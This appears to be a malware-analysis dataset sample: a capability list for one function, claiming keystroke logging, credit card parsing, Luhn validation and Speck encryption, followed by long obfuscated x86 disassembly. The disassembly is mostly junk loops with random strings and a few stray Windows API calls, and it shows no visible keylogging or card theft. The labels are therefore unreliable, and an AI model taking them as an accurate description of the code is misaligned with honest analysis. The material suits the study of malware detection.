Function at 0x4cccbe
Capabilities:
Accept command line arguments
Check os version
Create thread
Encrypt data using speck
Get graphical window text
Log keystrokes via polling
Parse credit card information
Query environment variable
Terminate process
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1155c
call fcn.005056f0
push ebx
push esi
push edi
mov byte [ebp - 0x3c], 0
mov dword [ebp - 0x1814], 0x7f28
mov dword [ebp - 0x2948], str.bobjyxq_motrcvc_pusgnn_qrs_htfiyhd_ffxik
cmp dword [ebp - 0x1814], 0x82aa
jle 0x4cd01c
and dword [ebp - 0x10c0], 0
jmp 0x4ccd0c
mov eax, dword [ebp - 0x10c0]
inc eax
mov dword [ebp - 0x10c0], eax
cmp dword [ebp - 0x10c0], 0x4216
jge 0x4cd01c
and dword [ebp - 0x10c8], 0
jmp 0x4ccd32
mov eax, dword [ebp - 0x10c8]
inc eax
mov dword [ebp - 0x10c8], eax
cmp dword [ebp - 0x10c8], 0x3e3f
jge 0x4cd017
mov dword [ebp - 0x25c0], 0x1ae6
cmp dword [ebp - 0x25c0], 0xae8
jge 0x4ccda3
lea eax, [ebp - 0x255c]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x255c]
and eax, 0x80000001
jns 0x4ccd7d
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x4ccd8d
mov dword [ebp - 0x1a18], str.Ehab
jmp 0x4ccd97
mov dword [ebp - 0x1a18], str.Mahmoud
push dword [ebp - 0x1a18]
call fcn.004f1b87
pop ecx
mov dword [ebp - 0x1804], 0x3adb
mov dword [ebp - 0x2828], str.fapkapf_iuxjnff_oqc_sfj_knnwet_bfcmb_uklgoaiv_tobcqc_wdmmsk_bmyluprox_jlm
cmp dword [ebp - 0x1804], 0x3afe
jle 0x4ccec7
and dword [ebp - 0x10a0], 0
jmp 0x4ccddd
mov eax, dword [ebp - 0x10a0]
inc eax
mov dword [ebp - 0x10a0], eax
cmp dword [ebp - 0x10a0], 0x51a7
jge 0x4ccec7
and dword [ebp - 0x10a8], 0
jmp 0x4cce03
mov eax, dword [ebp - 0x10a8]
inc eax
mov dword [ebp - 0x10a8], eax
cmp dword [ebp - 0x10a8], 0x4b97
jge 0x4ccec2
and dword [ebp - 0x10b0], 0
jmp 0x4cce29
mov eax, dword [ebp - 0x10b0]
inc eax
mov dword [ebp - 0x10b0], eax
cmp dword [ebp - 0x10b0], 0x2f3e
jge 0x4ccebd
and dword [ebp - 0x10b8], 0
jmp 0x4cce4f
mov eax, dword [ebp - 0x10b8]
inc eax
mov dword [ebp - 0x10b8], eax
cmp dword [ebp - 0x10b8], 0x409b
jge 0x4cceb8
mov eax, dword [ebp - 0x10a0]
or eax, dword [ebp - 0x10a8]
mov edx, dword [ebp - 0x10b0]
mov ecx, dword [ebp - 0x10b8]
sar edx, cl
or eax, edx
cdq
mov dword [ebp - 0x1c2c], eax
mov dword [ebp - 0x1c28], edx
push dword [ebp - 0x1c28]
push dword [ebp - 0x1c2c]
lea ecx, [ebp - 0x33a8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x33a8]
call fcn.00401711
jmp 0x4cce42
jmp 0x4cce1c
jmp 0x4ccdf6
jmp 0x4ccdd0
mov eax, dword [ebp - 0x10c0]
sub eax, dword [ebp - 0x10c8]
cdq
mov dword [ebp - 0x1c44], eax
mov dword [ebp - 0x1c40], edx
cmp dword [ebp - 0x1804], 0x39ff
jge 0x4ccef8
push dword [ebp - 0x2828]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x180c], 0x795b
mov dword [ebp - 0x2564], str.htpttk_ensa_wkpgxt_bfleiykim_amempn_ixfdpmsl_jnlp_lqiki_djagcjl_laxejtjq
cmp dword [ebp - 0x180c], 0x79c5
jle 0x4ccfe4
and dword [ebp - 0x10d0], 0
jmp 0x4ccf32
mov eax, dword [ebp - 0x10d0]
inc eax
mov dword [ebp - 0x10d0], eax
cmp dword [ebp - 0x10d0], 0x675c
jge 0x4ccfe4
and dword [ebp - 0x10d8], 0
jmp 0x4ccf58
mov eax, dword [ebp - 0x10d8]
inc eax
mov dword [ebp - 0x10d8], eax
cmp dword [ebp - 0x10d8], 0x463e
jge 0x4ccfdf
and dword [ebp - 0x10e0], 0
jmp 0x4ccf7a
mov eax, dword [ebp - 0x10e0]
inc eax
mov dword [ebp - 0x10e0], eax
cmp dword [ebp - 0x10e0], 0x5ad6
jge 0x4ccfda
mov eax, dword [ebp - 0x10d0]
imul eax, dword [ebp - 0x10d8]
sub eax, dword [ebp - 0x10e0]
cdq
mov dword [ebp - 0x1c38], eax
mov dword [ebp - 0x1c34], edx
push dword [ebp - 0x1c34]
push dword [ebp - 0x1c38]
lea ecx, [ebp - 0x3870]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3870]
call fcn.00401711
jmp 0x4ccf6d
jmp 0x4ccf4b
jmp 0x4ccf25
push dword [ebp - 0x1c40]
push dword [ebp - 0x1c44]
mov ecx, 0xac7538
call fcn.004178b5
cmp dword [ebp - 0x180c], 0x7733
jge 0x4cd012
push dword [ebp - 0x2564]
call fcn.004f1488
pop ecx
jmp 0x4ccd25
jmp 0x4cccff
mov dword [ebp - 0x14d8], 0x5fb3
cmp dword [ebp - 0x1814], 0x7de1
jge 0x4cd042
mov edx, dword [ebp - 0x2948]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x181c], 0x393c
mov dword [ebp - 0x256c], str.nfnr_wsple_akpe
cmp dword [ebp - 0x181c], 0x3be5
jle 0x4cd0d9
and dword [ebp - 0x10e8], 0
jmp 0x4cd078
mov eax, dword [ebp - 0x10e8]
inc eax
mov dword [ebp - 0x10e8], eax
cmp dword [ebp - 0x10e8], 0x25a0
jge 0x4cd0d9
and dword [ebp - 0x1044], 0
jmp 0x4cd09a
mov eax, dword [ebp - 0x1044]
inc eax
mov dword [ebp - 0x1044], eax
cmp dword [ebp - 0x1044], 0x5bd4
jge 0x4cd0d7
mov eax, dword [ebp - 0x10e8]
xor eax, dword [ebp - 0x1044]
cdq
mov dword [ebp - 0x1c50], eax
mov dword [ebp - 0x1c4c], edx
push dword [ebp - 0x1c4c]
push dword [ebp - 0x1c50]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4cd08d
jmp 0x4cd06b
mov dword [ebp - 0x1894], 0x2d2
cmp dword [ebp - 0x181c], 0x361e
jge 0x4cd0ff
mov edx, dword [ebp - 0x256c]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x183c], 0x2d13
mov dword [ebp - 0x2a80], str.rfceifxvl_iurjrsv_ffanki_rbjye_yrevwyao
cmp dword [ebp - 0x183c], 0x30d7
jle 0x4cd84e
and dword [ebp - 0xee0], 0
jmp 0x4cd139
mov eax, dword [ebp - 0xee0]
inc eax
mov dword [ebp - 0xee0], eax
cmp dword [ebp - 0xee0], 0x5b35
jge 0x4cd848
and dword [ebp - 0x4ec], 0
jmp 0x4cd15f
mov eax, dword [ebp - 0x4ec]
inc eax
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 0x3d64
jge 0x4cd843
mov dword [ebp - 0x182c], 0x7a4d
mov dword [ebp - 0x2574], str.cybj_borihpnoq_sus_ofadjc_ugyjyknej_oxsnwwouk_hhl_dfejns_oskysyfjo_mmdrqaqfm_epmka_gihkd_ywe_jfv
mov dword [ebp - 0x2830], 0x1478
cmp dword [ebp - 0x2830], 0x11c8
jge 0x4cd3c2
push str._30_QWERTYUIOP__ASDFGHJKL_ZXCVBNM_._
lea ecx, [ebp - 0x2c44]
call fcn.004016bd
lea ecx, [ebp - 0x2c44]
call fcn.0040175f
mov dword [ebp - 0x11a8], eax
lea ecx, [ebp - 0x1a9c]
call fcn.004e9ca5
mov dword [ebp - 0x14c], 1
jmp 0x4cd1e2
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x14c]
cmp eax, dword [ebp - 0x11a8]
jge 0x4cd27a
push dword [ebp - 0x14c]
lea ecx, [ebp - 0x2c44]
call fcn.0040174b
movsx eax, byte [eax]
cmp eax, 0x51
je 0x4cd275
push dword [ebp - 0x14c]
lea ecx, [ebp - 0x2c44]
call fcn.0040174b
movsx eax, byte [eax]
cmp eax, 0x41
je 0x4cd275
push dword [ebp - 0x14c]
lea ecx, [ebp - 0x2c44]
call fcn.0040174b
movsx eax, byte [eax]
cmp eax, 0x5a
je 0x4cd275
mov eax, dword [ebp - 0x14c]
dec eax
push eax
lea ecx, [ebp - 0x2c44]
call fcn.0040174b
mov esi, eax
push dword [ebp - 0x14c]
lea ecx, [ebp - 0x2c44]
call fcn.0040174b
push eax
lea ecx, [ebp - 0x1a9c]
call fcn.004e9cba
mov cl, byte [esi]
mov byte [eax], cl
jmp 0x4cd1d5
lea ecx, [ebp - 0x2ef8]
call fcn.004016ac
lea ecx, [ebp - 0x12cc]
call fcn.004e9d45
lea edx, [ebp - 0x2ef8]
mov ecx, 0xac75e0
call fcn.0041c262
mov dword [ebp - 0x1824], eax
mov eax, dword [ebp - 0x1824]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1824]
add ecx, dword [eax + 4]
call fcn.00402447
movzx eax, al
test eax, eax
je 0x4cd3a1
lea ecx, [ebp - 0x2ef8]
call fcn.0040175f
mov dword [ebp - 0x11a8], eax
and dword [ebp - 0x388], 0
jmp 0x4cd2ee
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
mov eax, dword [ebp - 0x388]
cmp eax, dword [ebp - 0x11a8]
jge 0x4cd38d
push dword [ebp - 0x388]
lea ecx, [ebp - 0x2ef8]
call fcn.0040174b
push eax
lea eax, [ebp - 0x2ebc]
push eax
lea ecx, [ebp - 0x1a9c]
call fcn.004e9d0b
mov eax, dword [eax]
mov dword [ebp - 0x12cc], eax
lea eax, [ebp - 0x2dbc]
push eax
lea ecx, [ebp - 0x1a9c]
call fcn.00417af4
push eax
lea ecx, [ebp - 0x12cc]
call fcn.0048dc0b
movzx eax, al
test eax, eax
je 0x4cd36b
lea ecx, [ebp - 0x12cc]
call fcn.004e9d4b
mov dl, byte [eax + 1]
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4cd388
push dword [ebp - 0x388]
lea ecx, [ebp - 0x2ef8]
call fcn.0040174b
mov dl, byte [eax]
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4cd2e1
push fcn.0041c2ab
mov ecx, 0xac7538
call fcn.00417675
jmp 0x4cd290
lea ecx, [ebp - 0x2ef8]
call fcn.00401711
lea ecx, [ebp - 0x1a9c]
call fcn.004e9a04
lea ecx, [ebp - 0x2c44]
call fcn.00401711
cmp dword [ebp - 0x182c], 0x7e1d
jle 0x4cd46b
and dword [ebp - 0xc4c], 0
jmp 0x4cd3e8
mov eax, dword [ebp - 0xc4c]
inc eax
mov dword [ebp - 0xc4c], eax
cmp dword [ebp - 0xc4c], 0x30c
jge 0x4cd46b
and dword [ebp - 0x4e4], 0
jmp 0x4cd40a
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x4e4], eax
cmp dword [ebp - 0x4e4], 0x4933
jge 0x4cd466
mov eax, dword [ebp - 0xc4c]
cdq
idiv dword [ebp - 0x4e4]
mov eax, edx
cdq
mov dword [ebp - 0x1c5c], eax
mov dword [ebp - 0x1c58], edx
push dword [ebp - 0x1c58]
push dword [ebp - 0x1c5c]
lea ecx, [ebp - 0x38a0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x38a0]
call fcn.00401711
jmp 0x4cd3fd
jmp 0x4cd3db
mov eax, dword [ebp - 0xee0]
and eax, dword [ebp - 0x4ec]
cdq
mov dword [ebp - 0x1c74], eax
mov dword [ebp - 0x1c70], edx
cmp dword [ebp - 0x182c], 0x79c6
jge 0x4cd49c
push dword [ebp - 0x2574]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x1834], 0x712d
mov dword [ebp - 0x2594], str.tihgpce_osgpfrs_clxhukd_ogv_bgapond_fckpo_iupqhih_yvhaqtr_utoyr_evifwni_jbw_wrc_cyef
cmp dword [ebp - 0x1834], 0x7282
jle 0x4cd5b5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
and dword [ebp - 0xc54], 0
jmp 0x4cd4e0
mov eax, dword [ebp - 0xc54]
inc eax
mov dword [ebp - 0xc54], eax
cmp dword [ebp - 0xc54], 0x5b1c
jge 0x4cd5a9
and dword [ebp - 0x4f4], 0
jmp 0x4cd506
mov eax, dword [ebp - 0x4f4]
inc eax
mov dword [ebp - 0x4f4], eax
cmp dword [ebp - 0x4f4], 0x41a9
jge 0x4cd5a4
and dword [ebp - 0xee8], 0
jmp 0x4cd52c
mov eax, dword [ebp - 0xee8]
inc eax
mov dword [ebp - 0xee8], eax
cmp dword [ebp - 0xee8], 0x6aa4
jge 0x4cd59f
and dword [ebp - 0x4fc], 0
jmp 0x4cd54e
mov eax, dword [ebp - 0x4fc]
inc eax
mov dword [ebp - 0x4fc], eax
cmp dword [ebp - 0x4fc], 0x76be
jge 0x4cd59d
mov eax, dword [ebp - 0xc54]
cdq
idiv dword [ebp - 0x4f4]
mov eax, edx
cdq
idiv dword [ebp - 0xee8]
and edx, dword [ebp - 0x4fc]
mov eax, edx
cdq
mov dword [ebp - 0x1c68], eax
mov dword [ebp - 0x1c64], edx
push dword [ebp - 0x1c64]
push dword [ebp - 0x1c68]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4cd541
jmp 0x4cd51f
jmp 0x4cd4f9
jmp 0x4cd4d3
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
mov dword [ebp - 0x2a7c], 0x18f9
cmp dword [ebp - 0x2a7c], 0xdf7
jge 0x4cd7f0
lea eax, [ebp - 0x12d4]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x12d4]
mov dword [ebp - 0x257c], eax
mov eax, dword [ebp - 0x12d4]
dec eax
mov dword [ebp - 0x12d4], eax
cmp dword [ebp - 0x257c], 0
je 0x4cd7f0
lea eax, [ebp - 0x1b8]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0x1b8]
lea ecx, [ebp - 0x2b10]
call fcn.004179d7
and dword [ebp - 0xc5c], 0
jmp 0x4cd642
mov eax, dword [ebp - 0xc5c]
inc eax
mov dword [ebp - 0xc5c], eax
mov eax, dword [ebp - 0xc5c]
cmp eax, dword [ebp - 0x1b8]
jge 0x4cd670
push dword [ebp - 0xc5c]
lea ecx, [ebp - 0x2b10]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4cd635
and dword [ebp - 0x2838], 0
lea eax, [ebp - 0x2838]
push eax
push dword [ebp - 0x1b8]
lea ecx, [ebp - 0x2ae0]
call fcn.00417d23
and dword [ebp - 0x12dc], 0
mov eax, dword [ebp - 0x1b8]
dec eax
mov dword [ebp - 0x12e4], eax
and dword [ebp - 0x16c], 0
mov eax, dword [ebp - 0x16c]
cmp eax, dword [ebp - 0x1b8]
jge 0x4cd785
mov eax, dword [ebp - 0x12dc]
mov dword [ebp - 0x2950], eax
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x2584], eax
push dword [ebp - 0x2584]
lea ecx, [ebp - 0x2ae0]
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x2950]
lea ecx, [ebp - 0x2b10]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [esi], eax
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x12dc]
inc eax
mov dword [ebp - 0x12dc], eax
mov eax, dword [ebp - 0x16c]
cmp eax, dword [ebp - 0x1b8]
jl 0x4cd726
jmp 0x4cd785
mov eax, dword [ebp - 0x12e4]
mov dword [ebp - 0x2840], eax
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x258c], eax
push dword [ebp - 0x258c]
lea ecx, [ebp - 0x2ae0]
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x2840]
lea ecx, [ebp - 0x2b10]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [esi], eax
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x12e4]
dec eax
mov dword [ebp - 0x12e4], eax
jmp 0x4cd6aa
and dword [ebp - 0x504], 0
jmp 0x4cd79b
mov eax, dword [ebp - 0x504]
inc eax
mov dword [ebp - 0x504], eax
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0x1b8]
jge 0x4cd7ca
push dword [ebp - 0x504]
lea ecx, [ebp - 0x2ae0]
call fcn.00417bb8
push dword [eax]
push str._ld
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4cd78e
push 0xab559b
call fcn.004f1b87
pop ecx
lea ecx, [ebp - 0x2ae0]
call fcn.00417aef
lea ecx, [ebp - 0x2b10]
call fcn.00417aef
jmp 0x4cd5e2
push dword [ebp - 0x1c70]
push dword [ebp - 0x1c74]
lea ecx, [ebp - 0x38d0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x38d0]
call fcn.00401711
cmp dword [ebp - 0x1834], 0x70a4
jge 0x4cd83e
mov edx, dword [ebp - 0x2594]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4cd152
jmp 0x4cd12c
call dword [sym.imp.GDI32.dll_GdiFlush]
mov dword [ebp - 0x1bc0], str.doxgnpnt_avfwi_vdwtqvoyn_lisgt_ecjmreky_baus_wibpnpaqw_pwmcnhs_qfornqdde
mov dword [ebp - 0x1844], 0x78df
mov dword [ebp - 0x259c], str.kvnjfer_ubu_keqocdpjb_sgsox_tih_ssbg
cmp dword [ebp - 0x1844], 0x7c80
jle 0x4cd8ef
and dword [ebp - 0xef0], 0
jmp 0x4cd88e
mov eax, dword [ebp - 0xef0]
inc eax
mov dword [ebp - 0xef0], eax
cmp dword [ebp - 0xef0], 0x286c
jge 0x4cd8ef
and dword [ebp - 0x50c], 0
jmp 0x4cd8b0
mov eax, dword [ebp - 0x50c]
inc eax
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x50c], 0x3409
jge 0x4cd8ed
mov eax, dword [ebp - 0xef0]
xor eax, dword [ebp - 0x50c]
cdq
mov dword [ebp - 0x1c80], eax
mov dword [ebp - 0x1c7c], edx
push dword [ebp - 0x1c7c]
push dword [ebp - 0x1c80]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4cd8a3
jmp 0x4cd881
cmp dword [ebp - 0x183c], 0x2cc5
jge 0x4cd907
push dword [ebp - 0x2a80]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1844], 0x77c3
jge 0x4cd923
mov edx, dword [ebp - 0x259c]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x1894], 0x2e8
jle 0x4cdb75
and dword [ebp - 0xc64], 0
jmp 0x4cd949
mov eax, dword [ebp - 0xc64]
inc eax
mov dword [ebp - 0xc64], eax
cmp dword [ebp - 0xc64], 0x5869
jge 0x4cdb75
and dword [ebp - 0x514], 0
jmp 0x4cd96f
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
cmp dword [ebp - 0x514], 0x622e
jge 0x4cdb70
mov eax, dword [ebp - 0xc64]
cdq
idiv dword [ebp - 0x514]
mov eax, edx
cdq
mov dword [ebp - 0x1ca4], eax
mov dword [ebp - 0x1ca0], edx
mov dword [ebp - 0x1854], 0x709b
mov dword [ebp - 0x184c], 0x2c54
mov dword [ebp - 0x2848], str.thtjcwuus_qqtc_wgho_sltsgvfrq_hvqsh
cmp dword [ebp - 0x184c], 0x2cc7
jle 0x4cda5f
and dword [ebp - 0xef8], 0
jmp 0x4cd9df
mov eax, dword [ebp - 0xef8]
inc eax
mov dword [ebp - 0xef8], eax
cmp dword [ebp - 0xef8], 0x22e9
jge 0x4cda5f
and dword [ebp - 0x51c], 0
jmp 0x4cda01
mov eax, dword [ebp - 0x51c]
inc eax
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 0x7ac5
jge 0x4cda5a
mov eax, dword [ebp - 0xef8]
and eax, dword [ebp - 0x51c]
cdq
mov dword [ebp - 0x1c8c], eax
mov dword [ebp - 0x1c88], edx
push dword [ebp - 0x1c88]
push dword [ebp - 0x1c8c]
lea ecx, [ebp - 0x3900]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3900]
call fcn.00401711
jmp 0x4cd9f4
jmp 0x4cd9d2
mov dword [ebp - 0x25a4], str.kahech_xpsuafi_ckygglj_siniktop_dgjjq
cmp dword [ebp - 0x184c], 0x29c1
jge 0x4cda81
push dword [ebp - 0x2848]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1854], 0x70bd
jle 0x4cdb39
and dword [ebp - 0xc6c], 0
jmp 0x4cdaa7
mov eax, dword [ebp - 0xc6c]
inc eax
mov dword [ebp - 0xc6c], eax
cmp dword [ebp - 0xc6c], 0x2a9e
jge 0x4cdb39
and dword [ebp - 0x524], 0
jmp 0x4cdacd
mov eax, dword [ebp - 0x524]
inc eax
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x524], 0x5aba
jge 0x4cdb34
and dword [ebp - 0xf00], 0
jmp 0x4cdaef
mov eax, dword [ebp - 0xf00]
inc eax
mov dword [ebp - 0xf00], eax
cmp dword [ebp - 0xf00], 0x6dce
jge 0x4cdb32
mov eax, dword [ebp - 0xc6c]
and eax, dword [ebp - 0x524]
xor eax, dword [ebp - 0xf00]
cdq
mov dword [ebp - 0x1c98], eax
mov dword [ebp - 0x1c94], edx
push dword [ebp - 0x1c94]
push dword [ebp - 0x1c98]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4cdae2
jmp 0x4cdac0
jmp 0x4cda9a
push dword [ebp - 0x1ca0]
push dword [ebp - 0x1ca4]
mov ecx, 0xac7538
call fcn.004178b5
cmp dword [ebp - 0x1854], 0x6e51
jge 0x4cdb6b
mov edx, dword [ebp - 0x25a4]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4cd962
jmp 0x4cd93c
mov dword [ebp - 0x185c], 0x796a
mov dword [ebp - 0x2a58], str.tjajlr_rvbxxqwc_yeo_ugqdrr_qsapy_tky_gtb_kwvhoftu_xgontdj
cmp dword [ebp - 0x185c], 0x7bfc
jle 0x4cdecc
push 0
call dword [sym.imp.USER32.dll_SetCapture]
and dword [ebp - 0x534], 0
jmp 0x4cdbb7
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0x41df
jge 0x4cdecc
and dword [ebp - 0xf08], 0
jmp 0x4cdbdd
mov eax, dword [ebp - 0xf08]
inc eax
mov dword [ebp - 0xf08], eax
cmp dword [ebp - 0xf08], 0x5625
jge 0x4cdec7
and dword [ebp - 0x53c], 0
jmp 0x4cdc03
mov eax, dword [ebp - 0x53c]
inc eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0x48c4
jge 0x4cdec2
mov dword [ebp - 0x2958], 0x203e
cmp dword [ebp - 0x2958], 0x863
jge 0x4cde85
and dword [ebp - 0x108], 0
lea eax, [ebp - 0x108]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x25ac], 0
lea eax, [ebp - 0x25ac]
push eax
push dword [ebp - 0x108]
lea ecx, [ebp - 0x2fc4]
call fcn.00417a52
push eax
push dword [ebp - 0x108]
lea ecx, [ebp - 0x1b64]
call fcn.004e9c60
lea ecx, [ebp - 0x2fc4]
call fcn.00417aef
and dword [ebp - 0xc74], 0
jmp 0x4cdc99
mov eax, dword [ebp - 0xc74]
inc eax
mov dword [ebp - 0xc74], eax
mov eax, dword [ebp - 0xc74]
cmp eax, dword [ebp - 0x108]
jge 0x4cdcfa
and dword [ebp - 0x52c], 0
jmp 0x4cdcbd
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
mov eax, dword [ebp - 0x52c]
cmp eax, dword [ebp - 0x108]
jge 0x4cdcf8
push dword [ebp - 0x52c]
push dword [ebp - 0xc74]
lea ecx, [ebp - 0x1b64]
call fcn.004180a6
mov ecx, eax
call fcn.00417bb8
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4cdcb0
jmp 0x4cdc8c
and dword [ebp - 0x47c], 0
jmp 0x4cdd10
mov eax, dword [ebp - 0x47c]
inc eax
mov dword [ebp - 0x47c], eax
mov eax, dword [ebp - 0x47c]
cmp eax, dword [ebp - 0x108]
jge 0x4cddba
and dword [ebp - 0x484], 0
jmp 0x4cdd38
mov eax, dword [ebp - 0x484]
inc eax
mov dword [ebp - 0x484], eax
mov eax, dword [ebp - 0x484]
cmp eax, dword [ebp - 0x108]
jge 0x4cddaa
push dword [ebp - 0x484]
push dword [ebp - 0x47c]
lea ecx, [ebp - 0x1b64]
call fcn.004180a6
mov ecx, eax
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x47c]
push dword [ebp - 0x484]
lea ecx, [ebp - 0x1b64]
call fcn.004180a6
mov ecx, eax
call fcn.00417bb8
mov ecx, dword [esi]
add ecx, dword [eax]
cvtsi2sd xmm0, ecx
mulsd xmm0, qword [0xac2b20]
push ecx
push ecx
movsd qword [esp], xmm0
push str._.5lf
call fcn.004f1488
add esp, 0xc
jmp 0x4cdd2b
push 0xab559b
call fcn.004f1b87
pop ecx
jmp 0x4cdd03
and dword [ebp - 0x48c], 0
jmp 0x4cddd0
mov eax, dword [ebp - 0x48c]
inc eax
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x48c]
cmp eax, dword [ebp - 0x108]
jge 0x4cde7a
and dword [ebp - 0x494], 0
jmp 0x4cddf8
mov eax, dword [ebp - 0x494]
inc eax
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x494]
cmp eax, dword [ebp - 0x108]
jge 0x4cde6a
push dword [ebp - 0x494]
push dword [ebp - 0x48c]
lea ecx, [ebp - 0x1b64]
call fcn.004180a6
mov ecx, eax
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x48c]
push dword [ebp - 0x494]
lea ecx, [ebp - 0x1b64]
call fcn.004180a6
mov ecx, eax
call fcn.00417bb8
mov ecx, dword [esi]
sub ecx, dword [eax]
cvtsi2sd xmm0, ecx
mulsd xmm0, qword [0xac2b20]
push ecx
push ecx
movsd qword [esp], xmm0
push str._.5lf
call fcn.004f1488
add esp, 0xc
jmp 0x4cddeb
push 0xab559b
call fcn.004f1b87
pop ecx
jmp 0x4cddc3
lea ecx, [ebp - 0x1b64]
call fcn.00417fe0
mov eax, dword [ebp - 0x534]
cdq
idiv dword [ebp - 0xf08]
sub edx, dword [ebp - 0x53c]
mov eax, edx
cdq
mov dword [ebp - 0x1cb0], eax
mov dword [ebp - 0x1cac], edx
push dword [ebp - 0x1cac]
push dword [ebp - 0x1cb0]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4cdbf6
jmp 0x4cdbd0
jmp 0x4cdbaa
mov dword [ebp - 0x2850], 0x1b0c
cmp dword [ebp - 0x2850], 0x670
jge 0x4cdfcc
lea eax, [ebp - 0x25b4]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x2c4], 0
and dword [ebp - 0x12ec], 0
jmp 0x4cdf16
mov eax, dword [ebp - 0x12ec]
inc eax
mov dword [ebp - 0x12ec], eax
mov eax, dword [ebp - 0x12ec]
cmp eax, dword [ebp - 0x25b4]
jge 0x4cdfcc
lea eax, [ebp - 0x204]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x204]
and eax, 0x80000001
jns 0x4cdf4d
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x4cdf76
cmp dword [ebp - 0x2c4], 0
jl 0x4cdf76
mov eax, dword [ebp - 0x204]
dec eax
mov dword [ebp - 0x204], eax
mov eax, dword [ebp - 0x2c4]
dec eax
mov dword [ebp - 0x2c4], eax
jmp 0x4cdfaf
mov eax, dword [ebp - 0x204]
and eax, 0x80000001
jns 0x4cdf88
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x4cdfaf
cmp dword [ebp - 0x2c4], 0
jge 0x4cdfaf
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp - 0x204]
cdq
sub eax, edx
sar eax, 1
push eax
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4cdf09
mov dword [ebp - 0x1884], 0x1915
cmp dword [ebp - 0x185c], 0x7852
jge 0x4cdff2
mov edx, dword [ebp - 0x2a58]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x1bb0], str.riqyu_ruvv_jvsep_hhqlmqnn_pmyv_dbgyxbnmf_oei
mov dword [ebp - 0x186c], 0x3b77
mov dword [ebp - 0x25c4], str.wubqkoc_rutbxr_tingkydgOiuftiv_cax_oni_lmpyiin_yit_ayspmjc
cmp dword [ebp - 0x186c], 0x3bf5
